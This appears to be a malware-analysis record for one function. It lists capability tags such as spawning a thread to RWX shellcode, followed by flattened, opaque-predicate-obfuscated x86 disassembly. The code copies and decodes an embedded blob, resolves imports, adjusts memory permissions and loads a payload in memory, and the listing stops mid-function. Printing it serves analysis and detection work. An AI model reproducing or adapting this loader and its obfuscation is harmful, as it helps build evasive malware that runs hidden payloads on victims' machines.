Function at 0x40ed20
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x4c688
call fcn.0041d500
mov eax, dword [ebp + 8]
mov eax, dword [0x480080]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x4c410]
lea eax, [0x42cd4c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x4c400
call fcn.0041e360
lea eax, [ebp - 0x4c410]
mov dword [esp], eax
mov dword [esp + 4], 0x4c400
call fcn.0040de60
lea eax, [ebp - 0x4c410]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4c5f8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4c5f0], eax
mov dword [ebp - 0x4c670], 0x5645cc10
mov eax, dword [ebp - 0x4c670]
mov dword [ebp - 0x4c678], eax
sub eax, 0x81b8505a
je 0x412be0
jmp 0x40edb4
mov eax, dword [ebp - 0x4c678]
sub eax, 0x826ac6fa
je 0x412e6e
jmp 0x40edca
mov eax, dword [ebp - 0x4c678]
sub eax, 0x8a385b18
je 0x412d93
jmp 0x40ede0
mov eax, dword [ebp - 0x4c678]
sub eax, 0x8af44982
je 0x410629
jmp 0x40edf6
mov eax, dword [ebp - 0x4c678]
sub eax, 0x8e320e9a
je 0x4120a0
jmp 0x40ee0c
mov eax, dword [ebp - 0x4c678]
sub eax, 0x903b2b49
je 0x410eac
jmp 0x40ee22
mov eax, dword [ebp - 0x4c678]
sub eax, 0x91ca8c0a
je 0x411509
jmp 0x40ee38
mov eax, dword [ebp - 0x4c678]
sub eax, 0x9200987f
je 0x4126df
jmp 0x40ee4e
mov eax, dword [ebp - 0x4c678]
sub eax, 0x93b8e2df
je 0x412bef
jmp 0x40ee64
mov eax, dword [ebp - 0x4c678]
sub eax, 0x93f69aa5
je 0x4113da
jmp 0x40ee7a
mov eax, dword [ebp - 0x4c678]
sub eax, 0x951bbb1c
je 0x41206e
jmp 0x40ee90
mov eax, dword [ebp - 0x4c678]
sub eax, 0x95825dd9
je 0x411b4a
jmp 0x40eea6
mov eax, dword [ebp - 0x4c678]
sub eax, 0x96aada8c
je 0x410784
jmp 0x40eebc
mov eax, dword [ebp - 0x4c678]
sub eax, 0x97612c25
je 0x4121a8
jmp 0x40eed2
mov eax, dword [ebp - 0x4c678]
sub eax, 0x99aeb9e4
je 0x411d20
jmp 0x40eee8
mov eax, dword [ebp - 0x4c678]
sub eax, 0x9a979a8c
je 0x41121d
jmp 0x40eefe
mov eax, dword [ebp - 0x4c678]
sub eax, 0x9ac4a916
je 0x411f38
jmp 0x40ef14
mov eax, dword [ebp - 0x4c678]
sub eax, 0x9adfbaab
je 0x4109ec
jmp 0x40ef2a
mov eax, dword [ebp - 0x4c678]
sub eax, 0x9b35dfb2
je 0x4129cc
jmp 0x40ef40
mov eax, dword [ebp - 0x4c678]
sub eax, 0x9b9c9c39
je 0x412e1e
jmp 0x40ef56
mov eax, dword [ebp - 0x4c678]
sub eax, 0x9cb19c90
je 0x410395
jmp 0x40ef6c
mov eax, dword [ebp - 0x4c678]
sub eax, 0x9cf65305
je 0x4128fd
jmp 0x40ef82
mov eax, dword [ebp - 0x4c678]
sub eax, 0x9fe2d71c
je 0x410f54
jmp 0x40ef98
mov eax, dword [ebp - 0x4c678]
sub eax, 0xa389f4a7
je 0x410502
jmp 0x40efae
mov eax, dword [ebp - 0x4c678]
sub eax, 0xa5b3f5ab
je 0x412cc5
jmp 0x40efc4
mov eax, dword [ebp - 0x4c678]
sub eax, 0xa73f709c
je 0x412db1
jmp 0x40efda
mov eax, dword [ebp - 0x4c678]
sub eax, 0xa81ce163
je 0x4116ce
jmp 0x40eff0
mov eax, dword [ebp - 0x4c678]
sub eax, 0xa9482f01
je 0x411102
jmp 0x40f006
mov eax, dword [ebp - 0x4c678]
sub eax, 0xa96bd35c
je 0x412949
jmp 0x40f01c
mov eax, dword [ebp - 0x4c678]
sub eax, 0xac0d75fc
je 0x4107e3
jmp 0x40f032
mov eax, dword [ebp - 0x4c678]
sub eax, 0xac782be1
je 0x411389
jmp 0x40f048
mov eax, dword [ebp - 0x4c678]
sub eax, 0xad0a80a4
je 0x411850
jmp 0x40f05e
mov eax, dword [ebp - 0x4c678]
sub eax, 0xaeec05d6
je 0x411ee7
jmp 0x40f074
mov eax, dword [ebp - 0x4c678]
sub eax, 0xb338cced
je 0x4123c4
jmp 0x40f08a
mov eax, dword [ebp - 0x4c678]
sub eax, 0xb3ea240f
je 0x4102d2
jmp 0x40f0a0
mov eax, dword [ebp - 0x4c678]
sub eax, 0xb3ee2246
je 0x41291e
jmp 0x40f0b6
mov eax, dword [ebp - 0x4c678]
sub eax, 0xb5f202e5
je 0x411c3c
jmp 0x40f0cc
mov eax, dword [ebp - 0x4c678]
sub eax, 0xb8167b4a
je 0x411fa2
jmp 0x40f0e2
mov eax, dword [ebp - 0x4c678]
sub eax, 0xbb7d6679
je 0x410db6
jmp 0x40f0f8
mov eax, dword [ebp - 0x4c678]
sub eax, 0xbbcfb373
je 0x412116
jmp 0x40f10e
mov eax, dword [ebp - 0x4c678]
sub eax, 0xbbfcca09
je 0x4117d0
jmp 0x40f124
mov eax, dword [ebp - 0x4c678]
sub eax, 0xbdae9c06
je 0x4127ce
jmp 0x40f13a
mov eax, dword [ebp - 0x4c678]
sub eax, 0xbdf73362
je 0x41131a
jmp 0x40f150
mov eax, dword [ebp - 0x4c678]
sub eax, 0xbef5744d
je 0x412e5f
jmp 0x40f166
mov eax, dword [ebp - 0x4c678]
sub eax, 0xbfa9ce72
je 0x410d60
jmp 0x40f17c
mov eax, dword [ebp - 0x4c678]
sub eax, 0xc3d096df
je 0x411190
jmp 0x40f192
mov eax, dword [ebp - 0x4c678]
sub eax, 0xc6ba00c2
je 0x4103cc
jmp 0x40f1a8
mov eax, dword [ebp - 0x4c678]
sub eax, 0xc717ed3e
je 0x412a3a
jmp 0x40f1be
mov eax, dword [ebp - 0x4c678]
sub eax, 0xc8931084
je 0x410599
jmp 0x40f1d4
mov eax, dword [ebp - 0x4c678]
sub eax, 0xc961b0ab
je 0x412728
jmp 0x40f1ea
mov eax, dword [ebp - 0x4c678]
sub eax, 0xcbb179eb
je 0x411d41
jmp 0x40f200
mov eax, dword [ebp - 0x4c678]
sub eax, 0xce516612
je 0x412ad7
jmp 0x40f216
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd0736b7f
je 0x412bfe
jmp 0x40f22c
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd0f5deb1
je 0x410fa5
jmp 0x40f242
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd215b271
je 0x412d66
jmp 0x40f258
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd357685a
je 0x41070d
jmp 0x40f26e
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd3919fce
je 0x412ab0
jmp 0x40f284
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd39ca4b5
je 0x412e03
jmp 0x40f29a
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd53c9a09
je 0x410d6f
jmp 0x40f2b0
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd55b73e3
je 0x4127dd
jmp 0x40f2c6
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd639ae34
je 0x411c00
jmp 0x40f2dc
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd7587f29
je 0x412f27
jmp 0x40f2f2
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd7beecda
je 0x412d15
jmp 0x40f308
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd8c65977
je 0x41135f
jmp 0x40f31e
mov eax, dword [ebp - 0x4c678]
sub eax, 0xd8d39f6f
je 0x41103e
mov dl, byte [ebp - 0x4c5dd]
mov eax, 0xf6582a8a
mov ecx, 0x43aea768
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0x2406d8ad
mov dword [ebp - 0x4c674], 0
jmp 0x412ffa
mov eax, dword [ebp - 0x4c5dc]
mov dword [ebp - 0x4c5d8], eax
mov dword [ebp - 0x4c670], 0x2406d8ad
mov eax, dword [ebp - 0x4c5d8]
mov dword [ebp - 0x4c674], eax
jmp 0x412ffa
mov dl, byte [ebp - 0x4c5d2]
mov eax, 0xf50c4a90
mov ecx, 0x68ea3db4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [ebp - 0x4c600]
mov ecx, dword [ebp - 0x4c5fc]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x4c5d1], al
mov ecx, dword [0x48153c]
mov eax, dword [0x481538]
mov edx, ecx
sub edx, 0xa83c0229
sub edx, 1
add edx, 0xa83c0229
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4c7a4610
mov ecx, 0x8af44982
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0xe17a7ed1
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0xe2e53192
jmp 0x412ffa
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x4c5cc]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.0041e360
mov eax, dword [ebp - 0x4c5fc]
xor ecx, ecx
sub ecx, 0x18
sub eax, ecx
mov ecx, dword [ebp - 0x4c5fc]
movzx ecx, word [ecx + 0x14]
add eax, 0x90031c24
add eax, ecx
sub eax, 0x90031c24
mov dword [ebp - 0x4c608], eax
mov dword [ebp - 0x4c60c], 0
mov dword [ebp - 0x4c670], 0xac0d75fc
jmp 0x412ffa
mov eax, dword [ebp - 0x4c60c]
mov dword [ebp - 0x4c5c8], eax
mov eax, dword [ebp - 0x4c5fc]
add eax, 4
mov dword [ebp - 0x4c5c4], eax
mov dword [ebp - 0x4c670], 0x30cae6cf
jmp 0x412ffa
mov eax, dword [ebp - 0x4c600]
mov ecx, dword [ebp - 0x4c5fc]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x4c5a9], al
mov dword [ebp - 0x4c670], 0x5522d157
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0xd53c9a09
jmp 0x412ffa
mov eax, dword [ebp - 0x4c614]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x4c624], eax
mov dword [ebp - 0x4c628], 0
mov dword [ebp - 0x4c670], 0x5306256c
jmp 0x412ffa
mov esi, dword [ebp - 0x4c620]
mov edx, dword [ebp - 0x4c598]
mov eax, 0x3ae81a43
mov ecx, 0x715cf5bd
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [ebp - 0x4c624]
mov dword [ebp - 0x4c588], eax
mov dword [ebp - 0x4c670], 0x19e58367
jmp 0x412ffa
mov eax, dword [0x48153c]
mov ecx, dword [0x481538]
mov edx, eax
add edx, 0xd54b8544
sub edx, 1
sub edx, 0xd54b8544
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd7beecda
mov ecx, 0xd0f5deb1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov ecx, dword [ebp - 0x4c580]
mov eax, dword [ebp - 0x4c57c]
sub eax, 0x736a7c57
add eax, ecx
add eax, 0x736a7c57
mov dword [ebp - 0x4c618], eax
mov eax, dword [ebp - 0x4c624]
mov dword [ebp - 0x4c614], eax
mov eax, dword [0x48153c]
mov ecx, dword [0x481538]
mov edx, eax
add edx, 0xb9a9551b
sub edx, 1
sub edx, 0xb9a9551b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd7beecda
mov ecx, 0x631d29db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [ebp - 0x4c62c]
imul ecx, dword [ebp - 0x4c630], 0x14
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x4c578], eax
mov ecx, dword [0x48153c]
mov eax, dword [0x481538]
mov edx, ecx
sub edx, 0xcfcfc81b
sub edx, 1
add edx, 0xcfcfc81b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd215b271
mov ecx, 0xc3d096df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0x38524f01
jmp 0x412ffa
mov edx, dword [ebp - 0x4c574]
mov eax, 0x59c84f08
mov ecx, 0x45660a55
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [ebp - 0x4c56c]
mov ecx, dword [ebp - 0x4c568]
imul ecx, ecx, 0x14
add eax, ecx
mov ecx, dword [eax + 0x10]
mov eax, dword [ebp - 0x4c570]
sub eax, 0xc9ca6f4f
add eax, ecx
add eax, 0xc9ca6f4f
mov dword [ebp - 0x4c63c], eax
mov dword [ebp - 0x4c640], 0
mov dword [ebp - 0x4c670], 0xd8c65977
jmp 0x412ffa
mov eax, dword [ebp - 0x4c63c]
mov ecx, dword [ebp - 0x4c640]
cmp dword [eax + ecx*4], 0
setne al
and al, 1
mov byte [ebp - 0x4c561], al
mov dword [ebp - 0x4c670], 0xac782be1
jmp 0x412ffa
mov dl, byte [ebp - 0x4c561]
mov eax, 0x5a484378
mov ecx, 0x75f214b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [ebp - 0x4c63c]
mov ecx, dword [ebp - 0x4c640]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x4c638]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x4c648], eax
mov eax, 0x7b581755
mov ecx, 0x35e82b98
cmp dword [ebp - 0x4c648], 0
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [ebp - 0x4c560]
add eax, 2
mov ecx, dword [ebp - 0x4c638]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x4c648], eax
mov dword [ebp - 0x4c670], 0x35e82b98
jmp 0x412ffa
mov eax, dword [ebp - 0x4c640]
add eax, 0x29e9ae74
add eax, 1
sub eax, 0x29e9ae74
mov dword [ebp - 0x4c550], eax
mov eax, dword [0x48153c]
mov ecx, dword [0x481538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdbf58b54
mov ecx, 0x2f5204a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [0x48153c]
mov ecx, dword [0x481538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa73f709c
mov ecx, 0x5914c915
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [ebp - 0x4c54c]
mov dword [ebp - 0x4c630], eax
mov dword [ebp - 0x4c670], 0x4559f249
jmp 0x412ffa
mov dword [ebp - 0x4c650], 0x40
mov eax, dword [ebp - 0x4c608]
imul ecx, dword [ebp - 0x4c64c], 0x28
add eax, ecx
mov dword [ebp - 0x4c53c], eax
mov dword [ebp - 0x4c670], 0xe63de107
jmp 0x412ffa
mov dl, byte [ebp - 0x4c535]
mov eax, 0x24ab7f2a
mov ecx, 0x5c334a01
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [0x48153c]
mov ecx, dword [0x481538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd39ca4b5
mov ecx, 0x1eac3697
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov dl, byte [ebp - 0x4c52e]
mov eax, 0x24ab7f2a
mov ecx, 0xcbb179eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov ecx, dword [0x48153c]
mov eax, dword [0x481538]
mov edx, ecx
sub edx, 0x2a1052f3
sub edx, 1
add edx, 0x2a1052f3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9b9c9c39
mov ecx, 0x35cc8351
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [0x48153c]
mov ecx, dword [0x481538]
mov edx, eax
sub edx, 0x63acaf4
sub edx, 1
add edx, 0x63acaf4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3f4da934
mov ecx, 0x9ac4a916
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov dword [ebp - 0x4c650], 4
mov eax, dword [0x48153c]
mov ecx, dword [0x481538]
mov edx, eax
add edx, 0x1c969aeb
sub edx, 1
sub edx, 0x1c969aeb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3f4da934
mov ecx, 0x71314441
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0x2a55a225
jmp 0x412ffa
mov eax, dword [ebp - 0x4c528]
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x51cfbd14
mov ecx, 0x8e320e9a
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov ecx, dword [0x48153c]
mov eax, dword [0x481538]
mov edx, ecx
sub edx, 0x559bb985
sub edx, 1
add edx, 0x559bb985
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbef5744d
mov ecx, 0xbbcfb373
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [ebp - 0x4c654]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0xacae9da1
or eax, edx
or ecx, 0xacae9da1
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4c521], al
mov eax, dword [0x48153c]
mov ecx, dword [0x481538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbef5744d
mov ecx, 0x7f260506
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov dl, byte [ebp - 0x4c521]
mov eax, 0x51cfbd14
mov ecx, 0xddfdb771
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0xeea1723a
jmp 0x412ffa
mov eax, dword [0x48153c]
mov ecx, dword [0x481538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x33be631e
mov ecx, 0xc961b0ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
lea ecx, [ebp - 0x4c488]
mov eax, dword [ebp - 0x4c664]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x4c488]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x4c664]
mov word [eax], cx
mov ecx, dword [0x48153c]
mov eax, dword [0x481538]
mov edx, ecx
sub edx, 0x6fefd63e
sub edx, 1
add edx, 0x6fefd63e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x33be631e
mov ecx, 0xbdae9c06
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0xd55b73e3
jmp 0x412ffa
mov eax, dword [ebp - 0x4c600]
mov dword [ebp - 0x4c508], eax
mov eax, dword [ebp - 0x4c5fc]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x4c504], eax
mov dword [ebp - 0x4c670], 0xfce94447
jmp 0x412ffa
mov dl, byte [ebp - 0x4c4fd]
mov eax, 0xe8965f35
mov ecx, 0xb3ee2246
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov eax, dword [ebp - 0x4c664]
mov dword [ebp - 0x4c4fc], eax
mov dword [ebp - 0x4c670], 0xa96bd35c
jmp 0x412ffa
mov eax, dword [ebp - 0x4c4fc]
mov ecx, dword [ebp - 0x4c4f0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4c4ec]
mov dword [eax + 4], ecx
mov dword [ebp - 0x4c670], 0xe8965f35
jmp 0x412ffa
mov ecx, dword [0x48153c]
mov eax, dword [0x481538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x43bb855e
mov ecx, 0xc717ed3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov ecx, dword [0x48153c]
mov eax, dword [0x481538]
mov edx, ecx
sub edx, 0x939a6e2d
sub edx, 1
add edx, 0x939a6e2d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x43bb855e
mov ecx, 0xd3919fce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4c670], eax
jmp 0x412ffa
mov eax, dword [ebp - 0x4c4f8]
mov dword [ebp - 0x4c67c], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041d4f0
mov eax, dword [ebp - 0x4c67c]
add esp, 0x4c688
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x4c5ec]
mov dword [ebp - 0x4c670], 0x20a04d01
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0xe98aec61
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0xf905b746
jmp 0x412ffa
mov eax, dword [ebp - 0x4c5a8]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a8]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a8]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a8]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a8]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a8]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a8]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a8]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a4]
mov eax, dword [ebp - 0x4c5a8]
mov ecx, dword [ebp - 0x4c5a4]
add eax, 0x5498351e
sub eax, ecx
sub eax, 0x5498351e
mov dword [ebp - 0x4c610], eax
mov eax, dword [ebp - 0x4c600]
mov edx, dword [ebp - 0x4c4e4]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x4c614], eax
mov dword [ebp - 0x4c618], 0
mov dword [ebp - 0x4c670], 0xebd53ee3
jmp 0x412ffa
mov eax, dword [ebp - 0x4c600]
mov ecx, dword [ebp - 0x4c614]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x4c61c], eax
mov eax, dword [ebp - 0x4c614]
mov eax, dword [eax + 4]
sub eax, 0xaea80f7d
sub eax, 8
add eax, 0xaea80f7d
shr eax, 1
mov dword [ebp - 0x4c620], eax
mov dword [ebp - 0x4c670], 0x6d1cf38b
jmp 0x412ffa
mov eax, dword [ebp - 0x4c57c]
mov eax, dword [ebp - 0x4c580]
mov eax, dword [ebp - 0x4c57c]
mov eax, dword [ebp - 0x4c580]
mov ecx, dword [ebp - 0x4c580]
mov eax, dword [ebp - 0x4c57c]
add eax, 0xb3ac284a
add eax, ecx
sub eax, 0xb3ac284a
mov dword [ebp - 0x4c618], eax
mov eax, dword [ebp - 0x4c624]
mov dword [ebp - 0x4c614], eax
mov dword [ebp - 0x4c670], 0xd0f5deb1
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0xa9482f01
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0xf27004d1
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0xbbfcca09
jmp 0x412ffa
mov eax, dword [ebp - 0x4c534]
mov eax, dword [ebp - 0x4c534]
mov dword [ebp - 0x4c670], 0x1eac3697
jmp 0x412ffa
mov dword [ebp - 0x4c650], 0x40
mov dword [ebp - 0x4c670], 0x35cc8351
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0xbbcfb373
jmp 0x412ffa
mov dword [ebp - 0x4c670], 0x4ffd5d3d
jmp 0x412ffa
mov eax, dword [ebp - 0x4c508]
mov eax, dword [ebp - 0x4c504]
mov eax, dword [ebp - 0x4c504]
mov eax, dword [ebp - 0x4c508]
mov eax, dword [ebp - 0x4c504]
mov eax, dword [ebp - 0x4c508]
mov eax, dword [ebp - 0x4c504]
mov eax, dword [ebp - 0x4c508]
mov eax, dword [ebp - 0x4c504]
mov eax, dword [ebp - 0x4c508]
mov eax, dword [ebp - 0x4c504]
mov eax, dword [ebp - 0x4c508]
mov eax, dword [ebp - 0x4c504]
mov eax, dword [ebp - 0x4c508]
mov eax, dword [ebp - 0x4c504]
mov eax, dword [ebp - 0x4c508]
mov eax, dword [ebp - 0x4c504]
mov eax, dword [ebp - 0x4c508]
mov ecx, dword [ebp - 0x4c504]
add eax, 0x8c70b6de
add eax, ecx
sub eax, 0x8c70b6de
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
